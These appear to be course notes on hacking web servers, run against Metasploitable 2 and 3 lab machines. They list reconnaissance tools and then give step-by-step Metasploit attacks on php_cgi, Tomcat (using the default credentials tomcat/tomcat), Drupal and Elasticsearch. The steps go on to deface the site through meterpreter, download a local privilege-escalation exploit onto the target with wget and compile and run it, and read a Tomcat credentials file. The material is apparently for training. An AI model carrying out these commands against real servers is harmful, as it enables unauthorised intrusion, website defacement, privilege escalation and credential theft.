

Chapter 13 - Hacking web servers

Gathering info about web servers :

1. Nmap
sudo pluma scan.txt
sudo nmap -iL scan.txt -sV -p80,8180
2. Wireshark
3. Waplyzer
4. Whatweb - > sudo whatweb -v domainname
5. idserve -> Download idserve <https://www.grc.com/id/idserve.htm>
6. httpie --> sudo apt install httpie --> sudo http <https://www.smec.ac.in>
7. dirb --> sudo dirb http://meta2ip
8. nikto --> sudo nikto -host meta2ip
9. sparta

```
cd /usr/share/  
sudo git clone https://github.com/SECFORCE/sparta.git  
cd sparta/  
sudo cp sparta /usr/bin/  
cd /usr/bin/  
sudo chmod +x sparta  
sudo sparta
```

10. netcraft (<https://sitereport.netcraft.com>)

Hacking webservers:

Meta 2 Server Hacking:

```
sudo msfconsole -q  
search php_cgi  
use 0  
show options  
set RHOSTS meta2ip  
show options  
exploit
```

in meterpreter

```
sysinfo
```

```
getuid
```

```
mv index.php index1.php
```

Open browser in parrot and use this link "<https://gofile.io/d/0eaxSU>" to download the file

Now in meterpreter...

```
lcd Downloads
```

```
upload index.html
```

Now open parrot browser and use "http://meta2ip" to see the page

Tomcat Hacking:

```
sudo msfconsole -q
```

```
search type:auxiliary tomcat
```

```
use 7
```

```
set RHOSTS meta2ip
```

```
set RPORT 8180
```

```
run
```

You can login to Tomcat Manager by opening your browser and using "http://meta2ip:8180"

```
sudo msfconsole -q
```

```
search type:exploit tomcat
```

```
use 4
```

```
show options
```

```
set HttpUsername tomcat
```

```
set HttpPassword tomcat
```

```
set RHOSTS meta2ip
```

```
set RPORT 8180
```

```
show options
```

```
exploit
```

in meterpreter:

```
sysinfo
```

```
getuid
```

Meta 3 ubuntu Hacking and Performing privilege escalation:

```
sudo msfconsole -q
```

```
search drupal
```

```
use 2
```

```
set RHOSTS meta3ubIP
```

```
set TARGETURI /drupal/
```

```
show options
```

```
exploit
```

in meterpreter:

```
sysinfo
```

```
getuid
```

shell

bash -i

open browser in your parrot and download the exploit using the link "<https://www.exploit-db.com/exploits/37292>"

open new tab in parrot

cd Downloads

sudo python3 -m http.server

go to shell access now

cd /tmp

wget http://parrotip:8000/37292.c

gcc 37292.c -o hitme

./hitme

Hacking meta 3 windows:

sudo msfconsole -q

search elasticsearch

use 0

set RHOSTS

exploit

sysinfo

getuid

pwd

ls

cd ..

cd Apache\ Software\ Foundation\

cd tomcat\

cd apache-tomcat-8.0.33\

cd conf

cat tomcat-users.xml

to access the tomcat manager gui use "http://meta3winip:8282" in the browser
